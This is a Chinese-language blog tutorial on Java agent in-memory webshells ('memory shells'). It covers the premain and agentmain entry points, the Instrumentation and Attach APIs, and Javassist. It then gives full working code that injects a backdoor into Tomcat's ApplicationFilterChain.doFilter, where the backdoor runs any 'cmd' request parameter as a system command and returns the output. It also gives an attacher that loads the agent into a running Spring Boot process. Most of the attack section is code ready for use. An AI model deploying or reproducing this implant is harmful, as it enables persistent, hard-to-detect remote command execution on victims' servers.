0%

初识java agent内存马

什么是Java Agent?

java agent 是 Java 程序,可以通过在 Java 虚拟机(JVM)启动时提供参数来加载和运行。它可以通过 java.lang.instrument 包提供的 Java 标准接口进行代码插桩(字节码插桩),从而在 Java 应用程序的类加载和运行期间改变 Java 字节码。而java agent内存马就是利用这个特性产生。

Java Agent启动方式

  1. 实现premain方法(JVM启动前加载)

  2. 实现agentmain方法(JVM启动后加载)

Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

实现premain方法(JVM启动前加载)

举一个简单的例子

先创建一个DemoTest类

1
2
3
4
5
6
7
8
import java.lang.instrument.Instrumentation;

public class DemoTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
System.out.println("ycxlo");
}
}

随后定义一个清单文件DemoTest.Mf(注意多一个换行)

1
2
3
Manifest-Version: 1.0
Premain-Class:

使用javac对DemoTest文件进行编译

1
javac DemoTest.java

使用jar进行打包

1
jar cvfm agent.jar DemoTest.mf DemoTest.class

我们接下来再创建一个普通的类

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("hi,world");
}
}

同样创建一个hello.mf的清单

1
2
3
Manifest-Version: 1.0
Main-Class: Hello

使用jar进行打包

1
jar cvfm hello.jar hello.mf Hello.class

输入

1
java -javaagent:agent.jar=args -jar hello.jar

image-20240107203252337

可以看到premain方法在main方法之前执行,这里的123就是形参agentArgs

也可以将这种启动方式称为命令行启动方式

加载agentmain方法

在实现agentmain之前有必要介绍一下几个组件:

1、Instrumentation API:

Instrumentation API 是一个 Java 类库,提供了一组用于在 Java 应用程序运行时进行字节码操作的接口。

它包括如下接口:

1
2
3
4
ClassDefinition:表示要定义的类的字节码。
ClassFileTransformer:提供了将输入的字节码转换为输出字节码的方法。
Instrumentation:提供了大多数代理功能的主接口。
UnmodifiableClassException:表示尝试修改不能修改的类时抛出的异常。

通常,使用 Instrumentation API 可以在不重新启动应用程序的情况下修改类的字节码,并在运行时监控和测量应用程序的性能。它还可以用于创建 Java Agent,这是一种在 Java 程序启动时通过命令行参数指定的程序,可以替代或修改类的字节码。

2、VirtualMachine

VirtualMachine是Java提供的一种用于动态加载Java类的机制,是Java虚拟机的一部分,可以通过它在运行时加载和执行Java类。VirtualMachine接口定义了一些用于在虚拟机内部操作的方法,包括加载类、执行方法、获取类信息和设置虚拟机属性等。

VirtualMachine常用的接口为:

1
2
3
4
5
6
7
8
9
10
11
12
attach(String id):连接到具有指定ID的Java虚拟机。
detach():从Java虚拟机断开连接。
loadAgent(String agent):将指定的Java Agent加载到Java虚拟机中。
loadAgentLibrary(String agentLibrary):将指定的库加载到Java虚拟机中。
loadAgentPath(String agentPath):将指定的路径加载到Java虚拟机中。
getSystemProperties():获取Java虚拟机的系统属性。
getAgentProperties():获取Java Agent的属性。
getClassPath():获取Java虚拟机的类路径。
getJvmArgs():获取Java虚拟机的JVM参数。
getInputArguments():获取Java虚拟机的输入参数。
getAllThreads():获取Java虚拟机中所有线程的信息。
getCapabilities():获取Java虚拟机的能力。

举一个简单的例子

编写一个实现了ClassFileTransformer接口的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Scanner;

public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
Scanner sc = new Scanner(System.in);
System.out.println("Injected Class AgentMainDemo Successfully !");
System.out.print("> ");
try {
InputStream is = Runtime.getRuntime().exec(sc.next()).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

transform()方法会在 JVM 加载类文件时被调用。具体来说,当 JVM 加载一个类时,它会先将类文件的字节码读入内存,然后将字节码传递给已注册的类转换器(即实现了ClassFileTransformer接口的类),让转换器对其进行修改。

调用该类

1
2
3
4
5
6
7
import java.lang.instrument.Instrumentation;

public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);//注册一个Class文件的转换器
}
}

编写清单文件AgentMain.Mf

1
2
3
4
5
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

  • Agent-Class: 如果实现支持在VM启动后某个时间启动代理的机制,则此属性指定代理类。也就是说,包含agentmain方法的类。这个属性是必需的,如果没有它,代理将不会启动。注意:这是一个类名,而不是文件名或路径。
  • Can-Redefine-Classes: 布尔值(true或false,与大小写无关)。是重新定义此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
  • Can-Retransform-Classes: 布尔值(真或假,与大小写无关)。是重新转换此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。

对其进行编译打包

1
jar cvfm AgentMain.jar AgentMain.Mf AgentMain.class DefineTransformer.class

最后创建一个利用类(正在运行的application)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class maindemo {
public static void main(String[] args) throws Exception{

String path = "D:\\java_agent\\src\\main\\java\\AgentMain.jar";

// 列出已加载的jvm
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历已加载的jvm
for (VirtualMachineDescriptor v:list){

// 打印jvm的 displayName 属性
System.out.println("+++++++++++++++++++++++++");
System.out.println(v.displayName());
System.out.println("+++++++++++++++++++++++++");
// 如果 displayName 为指定的类
if (v.displayName().contains("maindemo")){
// 打印pid
System.out.println("id >>> " + v.id());
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 AgentMain.jar 发送给虚拟机
vm.loadAgent(path);
// 解除链接
vm.detach();
}
}
}
}

VirtualMachine代表一个 Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 JVM 枚举Attach动作和 Detach动作(Attach 动作的相反行为,从 JVM 上面解除一个代理)等等

将其编译后在命令行运行

image-20240107210959049

这样我们就将AgentMain类注入到了maindemo中

这种启动方式也叫做Attach机制启动

3、Javassist

Javassist是一个Java库,用于在运行时操作字节码。 它提供了一种简单的方法来创建新类,修改现有类和动态加载类。 Javassist还提供了用于分析和修改Java字节码的API,以及用于在运行时修改Java类的能力。 Javassist使用类似于Java的语法来操作字节码,使得它很容易学习和使用。ClassPool:

ClassPool是Javassist的类池,主要用于管理和操作字节码,可以加载.class文件或者是CtClass对象并进行转换。

CtClass是javassist中的一个类文件,它的对象可以理解成一个class文件的抽象表示。一个CtClass对象可以用来修改一个class文件。

常用方法:

1
2
3
4
5
6
getDefault(): 获取默认的ClassPool对象。
insertClassPath(ClassPath cp): 插入类源路径。
get(String className): 通过类名获取CtClass对象。
makeClass(String className): 创建新的CtClass对象。
makeInterface(String className): 创建新的接口CtClass对象。
makeAnnotation(String className): 创建新的注解CtClass对象。

简单的测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import javassist.*;
public class javassist
{
public static void main(String[] args) throws Exception
{
// 获取ClassPool对象
ClassPool pool = new ClassPool(true);
// 插入类源路径
pool.insertClassPath(new LoaderClassPath(javassist.class.getClassLoader()));
// 新增Class
CtClass ctClass = pool.makeClass("ssist.Test");
// 新增Interface
ctClass.addInterface(pool.get(Test.class.getName()));
// 要添加的方法的返回值类型
CtClass type = pool.get(void.class.getName());
// 方法名称
String name = "SayHello";
// 方法参数
CtClass[] parameters = new CtClass[]{pool.get(String.class.getName())};
// 方法体,$1是方法的第一个参数
String body = "{" +
"System.out.println(\"Hello \" + $1);" +
"}";
// 实现方法
CtMethod ctMethod = new CtMethod(type, name, parameters, ctClass);
// 设置方法体
ctMethod.setBody(body);
//添加方法
ctClass.addMethod(ctMethod);
//调用
Test o = (Test) ctClass.toClass().newInstance();
o.SayHello("ycxlo");
}
// 添加Test接口以便于Class的获取等一系列操作
public interface Test
{
public void SayHello(String str);
}
}

image-20240108134056306

初步实现内存马

由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马

主要用到的类和方法为:

1
org.apache.catalina.core.ApplicationFilterChain#doFilter

选用这个方法的主要原因是:它封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回,并且不会影响正常的业务逻辑。

我们将构造流程分为三步

  • 构造application(一个受害者web应用,我将使用Springboot框架搭建)
  • 编写Agent(包括AgentMain和Transformer),在Transformer中修改目标类字节码
  • 编写Attach(将agent加载到application中)

1、构造application

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.test.springbootdemmo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class VulnController {
@ResponseBody
@RequestMapping("/vuln")
public String cc11Vuln(){
return "Hello World";
}
}

2、编写agent

我们先定义一个Transformer,在其中使用javassist的 insertBefore将恶意代码插入到前面,从而减少对原程序的功能破坏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package Transformer;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
//如果被拦截的类是ApplicationFilterChain,那么对其进行字节码动态修改
if (className.equals(ClassName)){
// 创建一个ClassPool对象,获取默认的类搜索路径
ClassPool classPool = ClassPool.getDefault();
try {
// 从ClassPool对象中获取ApplicationFilterChain类的CtClass对象
CtClass clz = classPool.get(className);

// 从CtClass对象中获取doFilter方法的CtMethod对象
CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
//在doFilter方法执行前插入一段代码
//这段代码从HTTP请求中获取名为“cmd”的参数,并将其作为命令在服务器上执行。然后,它将命令的输出发送回HTTP响应。
doFilterMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = clz.toBytecode();
// 将 clz 从 classpool 中删除以释放内存
clz.detach();
//返回修改后的ApplicationFilterChain类的字节码
return bytes;
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

然后编写AgentMain注册我们的Transformer ,然后遍历已加载的 class,如果存在ApplicationFilterChain类的话那么就调用 retransformClasses 对其进行重定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import Transformer.Transformer;

import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new Transformer(),true);
Class[] allLoadedClasses = ins.getAllLoadedClasses();

for (Class clazz : allLoadedClasses) {
if (clazz.getName().equals(ClassName)){
try {
ins.retransformClasses(new Class[]{clazz});
}catch (Exception e){
e.printStackTrace();
}
}
}
}
}

调用Instrumentation接口的 retransformClasses方法时会触发已注册的类转换器的 transform()方法。具体来说,当retransformClasses方法被调用时,JVM 会将指定的类重新加载,并将其字节码传递给已注册的类转换器进行转换。

实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class test {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String jar = "D:\\java_agent\\src\\main\\java\\AgentMain3.jar";
List<VirtualMachineDescriptor> list =VirtualMachine.list();
System.out.println("Running JVM list ...");
// 列出当前有哪些 JVM 进程在运行
for (VirtualMachineDescriptor vmd : list) {
System.out.println(vmd);
if(vmd.displayName().contains("com.example.demo.DemoApplication")){
String id = vmd.id();
System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
VirtualMachine vm = VirtualMachine.attach(vmd.id());
vm.loadAgent(jar);
vm.detach();
break;
}
}
}
}

出不来出不来,不知道什么原因一直出现如下报错:

image-20240108215948644

成功加载了jar文件,但并未成功初始化

后面查看了一下spring的相关日志,说无法找到Agent.AgentMain类,然后我在spring项目下添加了Agent目录就行了

image-20240109101944849

jar文件的生成方法:

Agent.MF

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: Agent.AgentMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true

1
jar cvfm AgentMain3.jar Agent.Mf Agent\AgentMain.class Agent\MyTransformer.class